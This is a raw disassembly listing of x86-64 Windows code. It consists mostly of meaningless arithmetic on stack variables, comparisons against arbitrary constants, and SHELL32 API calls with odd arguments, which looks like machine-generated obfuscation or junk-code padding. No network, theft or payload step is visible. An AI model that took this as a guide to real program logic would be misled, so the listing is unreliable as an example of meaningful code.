mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29e4], eax
mov rax, qword [rsp + 0x4e90]
mov rax, qword [rax]
mov rcx, qword [0x1401c2b10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x137]
and eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [0x1401c1a28]
or eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov rax, qword [0x1401c2b10]
mov rcx, qword [rsp + 0x4e68]
mov qword [rsp + 0x4eb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4eb8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2a0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4dd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x135], al
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
mov byte [0x14019f008], al
mov eax, dword [rsp + 0x2a0c]
mov ecx, dword [rsp + 0x29e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a00], eax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x299c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a0c]
mov ecx, dword [rsp + 0x2a00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [0x1401c2b10]
movzx ecx, al
mov rax, qword [rsp + 0x4d70]
shl rax, cl
mov rcx, qword [rsp + 0x4e68]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x135]
or eax, ecx
mov byte [rsp + 0x138], al
movsx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb28], ax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
add eax, ecx
mov word [0x1401c1a28], ax
mov eax, dword [rsp + 0x2a0c]
mov ecx, dword [rsp + 0x2a00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x26f8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4d68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4dd8], rax
mov rax, qword [rsp + 0x4e68]
mov rax, qword [rax]
mov rcx, qword [0x1401c2b10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb24]
sub eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
movsx eax, word [rsp + 0xb2c]
movsx ecx, word [rsp + 0xb20]
or eax, ecx
mov word [rsp + 0xb24], ax
movsx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4d70]
sar rax, cl
mov qword [0x1401c2b10], rax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4e68]
mov rax, qword [rax]
mov rcx, qword [0x1401c2b10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x135]
add eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
movzx eax, byte [0x14019f008]
movzx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov byte [rsp + 0x136], al
movsx eax, word [rsp + 0xb2c]
movsx ecx, word [rsp + 0xb34]
sub eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [0x14019f008]
and eax, ecx
mov byte [rsp + 0x134], al
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4d90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c2b10], rax
cmp dword [rsp + 0x29e8], 0xe47e
ja 0x14005b00e
movsx eax, word [rsp + 0xb24]
mov dword [rsp + 0x2a54], eax
cmp dword [rsp + 0x2a54], 0xc3
je 0x14005b5b5
jmp 0x14005b610
mov eax, dword [rsp + 0x26f8]
movzx ecx, al
mov eax, dword [rsp + 0x299c]
shl eax, cl
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x136], al
mov edx, PathMakeUniqueName
lea rcx, [rsp + 0x4e80]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x2a34], eax
jmp 0x1401486ce
mov rax, qword [rsp + 0x4e80]
movzx eax, word [rax]
mov word [rsp + 0xb38], ax
movzx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov eax, dword [rsp + 0x29e4]
cdq
mov rcx, qword [rsp + 0x4e88]
idiv dword [rcx]
mov ecx, dword [rsp + 0x2a00]
mov edx, dword [rsp + 0x2a0c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14005b7fb
movzx eax, byte [rsp + 0x133]
mov byte [rsp + 0x139], al
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4d68]
and rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4dd8]
jne 0x14005b7aa
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [rsp + 0xb1c], ax
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [str.3__nS_G], al
movzx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov dword [rsp + 0x2a58], eax
mov rax, qword [rsp + 0x4e68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e90]
mov rcx, qword [rcx]
mov rdx, qword [0x1401c2b10]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005b78a
mov eax, dword [rsp + 0x2988]
mov rcx, qword [rsp + 0x4e30]
mov qword [rsp + 0x4ec0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ec0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e90]
mov rax, qword [rax]
mov rcx, qword [0x1401c2b10]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
jmp 0x14005b7a8
mov rax, qword [rsp + 0x4dd8]
movzx ecx, al
mov rax, qword [rsp + 0x4d68]
shl rax, cl
mov qword [rsp + 0x4d80], rax
jmp 0x14005b7e5
lea rax, [rsp + 0x29d4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x68
mov r9d, 0x30
mov r8d, 0xe8
mov edx, 0xb9
mov rcx, qword [rsp + 0x4ec8]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x2a5c], eax
mov dword [rsp + 0x2a60], 0x7506
mov dword [rsp + 0x2a64], 0xd8b4
mov rax, qword [rsp + 0x4d70]
mov qword [rsp + 0x4ed0], rax
movabs rax, 0x4a1648c0cc80b145
cmp qword [rsp + 0x4ed0], rax
je 0x14005b83c
movabs rax, 0x7ee10ffd8ca0a658
cmp qword [rsp + 0x4ed0], rax
je 0x14005b933
jmp 0x14005b9e4
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov byte [rsp + 0x2a68], al
cmp byte [rsp + 0x2a68], 0x89
je 0x14005b86b
cmp byte [rsp + 0x2a68], 0xd4
je 0x14005b901
jmp 0x14005b92e
movsx eax, word [rsp + 0xb20]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb38], ax
mov eax, dword [rsp + 0x2994]
mov ecx, dword [rsp + 0x2a5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov edx, dword [rsp + 0x26f8]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
ja 0x14005b8ff
lea rcx, [rsp + 0x152a0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x4ed8], rax
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
add eax, ecx
mov byte [rsp + 0x138], al
jmp 0x14005b92e
lea r9, [rsp + 0x4d90]
lea r8, [rsp + 0x4ea8]
lea rdx, [rsp + 0x15198]
lea rcx, [rsp + 0x15228]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x2a30], eax
jmp 0x14005b9e4
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov dword [rsp + 0x2a6c], eax
cmp dword [rsp + 0x2a6c], 0x2277965d
je 0x14005b97e
cmp dword [rsp + 0x2a6c], 0x2e706f9a
je 0x14005b960
jmp 0x14005b99b
movsx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c1a28], ax
jmp 0x14005b99b
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb20]
add eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
lea rcx, [rsp + 0x2a00]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4dd8]
mov qword [rsp + 0x4ee0], rax
lea rax, [rsp + 0x2a58]
mov qword [rsp + 0x4ee8], rax
movsx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x4ef0], rax
movsx eax, word [0x1401c1a28]
movsx ecx, word [rsp + 0xb20]
or eax, ecx
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xb24]
xor ecx, edx
cmp eax, ecx
jle 0x14005badc
lea rax, [rsp + 0xb2c]
mov qword [rsp + 0x4ef8], rax
mov eax, dword [rsp + 0x2994]
mov dword [rsp + 0x2a70], eax
cmp dword [rsp + 0x2a70], 0x52c5ddbc
je 0x14005ba8a
jmp 0x14005babb
mov r9d, dword [rsp + 0x2988]
mov rax, qword [rsp + 0x4e30]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4eb0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4de8]
movzx ecx, byte [rax]
call fcn.14014b010
nop
jmp 0x14005bad7
mov rax, qword [rsp + 0x4e48]
movzx eax, byte [rax]
mov byte [0x1401c2b18], al
mov dword [rsp + 0x2a74], 0x55db
jmp 0x14005bbba
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [rsp + 0xb1c]
mov dword [rsp + 0x2a78], ecx
movzx edx, word [rsp + 0xb30]
movzx ecx, dl
mov edx, dword [rsp + 0x2a78]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005bbba
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov byte [rsp + 0x139], al
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb24]
and eax, ecx
movsx ecx, word [rsp + 0xb34]
mov rdx, qword [rsp + 0x4e80]
movsx edx, word [rdx]
imul ecx, edx
cmp eax, ecx
jne 0x14005bbba
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
lea rdx, [rsp + 0xb30]
lea rcx, [rsp + 0x151d8]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0x4e78], rax
mov eax, dword [rsp + 0x2a00]
mov ecx, dword [rsp + 0x29e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a58], eax
mov eax, dword [rsp + 0x2a0c]
mov dword [rsp + 0x2a7c], eax
cmp dword [rsp + 0x2a7c], 0x4eb44a5e
je 0x14005bbfa
cmp dword [rsp + 0x2a7c], 0x6379a72d
je 0x14005bbe7
jmp 0x14005bcd4
movzx ecx, word [rsp + 0xb24]
call fcn.140149e50
nop
jmp 0x14005bcd4
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2a5c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov qword [rsp + 0x4f00], rax
movabs rax, 0x3cdbb1ed1c771cc
cmp qword [rsp + 0x4f00], rax
je 0x14005bc3d
jmp 0x14005bc9d
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4dd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
movzx eax, word [rsp + 0xb2c]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4e30]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4ea8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4da8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rax]
call fcn.14014a410
nop
jmp 0x14005bcd4
lea rax, [rsp + 0x4e68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x15228]
lea r8, [rsp + 0x15228]
mov edx, 0xc4
lea rcx, [rsp + 0x15198]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x29a4], eax
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
mov dword [rsp + 0x2a80], eax
cmp dword [rsp + 0x2a80], 0
je 0x14005bcf5
jmp 0x1401484e8
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ef0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x134]
add ecx, edx
cmp eax, ecx
je 0x14005bdd8
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x4e90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
xor edx, edx
lea rcx, [rsp + 0x4e30]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x2a30], eax
mov rax, qword [rsp + 0x4e30]
mov eax, dword [rax]
mov dword [rsp + 0x2a84], eax
cmp dword [rsp + 0x2a84], 0x4196695b
je 0x14005bd82
jmp 0x14005bd9e
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2994], eax
jmp 0x14005bdd8
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2a00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4d68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
mov dword [rsp + 0x2a88], 0xd05b
movzx eax, word [rsp + 0xb30]
mov dword [rsp + 0x2a8c], eax
cmp dword [rsp + 0x2a8c], 0
je 0x14005be01
jmp 0x14005bf02
movsx eax, word [0x1401c1a28]
mov dword [rsp + 0x2a90], eax
cmp dword [rsp + 0x2a90], 0xffffffdc
je 0x14005bee4
cmp dword [rsp + 0x2a90], 0x3fa0
je 0x14005be2f
jmp 0x14005bf00
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
lea r9, [rsp + 0x4e40]
lea r8, [rsp + 0x2a3c]
lea rdx, [rsp + 0x139]
mov rcx, qword [rsp + 0x4e70]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x29d4], eax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4e80]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4e30]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4da8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4da8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rax]
call fcn.14014a410
nop
jmp 0x14005bf00
mov rax, qword [rsp + 0x4e88]
mov rcx, qword [rsp + 0x4ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401c1a2c], eax
jmp 0x14005bf5f
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0x135]
or eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4e80]
movzx r8d, word [rax]
movzx edx, word [rsp + 0xb30]
mov rax, qword [rsp + 0x4ea8]
movzx ecx, word [rax]
call fcn.14014a9e0
nop
mov rax, qword [rsp + 0x4d80]
mov qword [rsp + 0x4f08], rax
movabs rax, 0xbe75cfcb30830892
cmp qword [rsp + 0x4f08], rax
je 0x14005bf9c
movabs rax, 0xe97282898eca9d59
cmp qword [rsp + 0x4f08], rax
je 0x14005bfb0
jmp 0x14005c143
lea rcx, [rsp + 0x4d70]
call qword [sym.imp.SHELL32.dll_ILFree]
nop
jmp 0x14005c143
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
sar eax, cl
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d68]
movzx ecx, al
mov rax, qword [rsp + 0x4ee0]
shl rax, cl
mov qword [rsp + 0x4dd8], rax
movsx eax, word [rsp + 0xb20]
mov dword [rsp + 0x2a94], eax
cmp dword [rsp + 0x2a94], 0x4d7a
je 0x14005c00e
jmp 0x14005c126
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e68]
mov rdx, qword [rsp + 0x4e90]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jge 0x14005c124
lea rdx, [rsp + 0x4f10]
lea rcx, [rsp + 0x4ef8]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x4f18], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1401c2b10]
mov rdx, qword [rsp + 0x4d70]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14005c124
mov rax, qword [rsp + 0x4dd8]
mov qword [rsp + 0x4f20], rax
movabs rax, 0x5d6b2f38dc9cbcaa
cmp qword [rsp + 0x4f20], rax
je 0x14005c0f7
movabs rax, 0x82344aae7de6b276
cmp qword [rsp + 0x4f20], rax
je 0x14005c0d5
jmp 0x14005c124
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [0x1401c2b10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
jmp 0x14005c124
lea r9, [rsp + 0x4d68]
lea r8, [rsp + 0x4f28]
lea rdx, [rsp + 0x15228]
mov rcx, qword [rsp + 0x4f28]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x2a98], eax
jmp 0x14005c143
mov rax, qword [rsp + 0x4ee8]
mov ecx, dword [rsp + 0x2a00]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4ee0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d68]
mov rdx, qword [rsp + 0x4d80]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x14005c33b
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x26f8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x299c], eax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
xor eax, ecx
movzx ecx, byte [rsp + 0xbb]
mov dword [rsp + 0x2a9c], ecx
movzx edx, byte [rsp + 0x136]
movzx ecx, dl
mov edx, dword [rsp + 0x2a9c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x14005c2e8
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
mov dword [rsp + 0x2aa0], eax
cmp dword [rsp + 0x2aa0], 0x13d1
je 0x14005c1f8
jmp 0x14005c2c7
lea rcx, [rsp + 0x138]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x2aa4], eax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov dword [rsp + 0x2aa8], eax
cmp dword [rsp + 0x2aa8], 0x596
je 0x14005c2a9
cmp dword [rsp + 0x2aa8], 0xe9d
je 0x14005c23e
jmp 0x14005c2c5
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
lea r9, [rsp + 0x29e4]
lea r8, [rsp + 0x4eb0]
lea rdx, [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4f30]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x2aac], eax
jmp 0x14005c2c5
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x137]
sub eax, ecx
mov byte [rsp + 0x136], al
jmp 0x14005c2e6
movsx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
jmp 0x14005c336
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
and eax, ecx
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4da8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x14005c336
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [rsp + 0xb28], ax
jmp 0x14005c539
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4ef0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
mov dword [rsp + 0x2ab0], ecx
mov rdx, qword [rsp + 0x4dd0]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2ab0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14005c539
mov eax, dword [rsp + 0x2a5c]
mov dword [rsp + 0x2ab4], eax
cmp dword [rsp + 0x2ab4], 0
je 0x14005c3b1
cmp dword [rsp + 0x2ab4], 0x6bb33f22
je 0x14005c519
jmp 0x14005c539
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov dword [rsp + 0x2ab8], eax
cmp dword [rsp + 0x2ab8], 0x56
je 0x14005c3d2
jmp 0x14005c517
movsx eax, word [rsp + 0xb2c]
mov dword [rsp + 0x2abc], eax
cmp dword [rsp + 0x2abc], 0x221c
je 0x14005c3f3
jmp 0x14005c4f3
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4d70]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14005c496
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2994]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rdx, qword [rsp + 0x4f38]
mov rcx, qword [rsp + 0x4f40]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0x4f48], rax
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4e88]
mov qword [rsp + 0x4f50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f50]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2a58], eax
jmp 0x14005c4f1
mov rax, qword [0x1401c2b10]
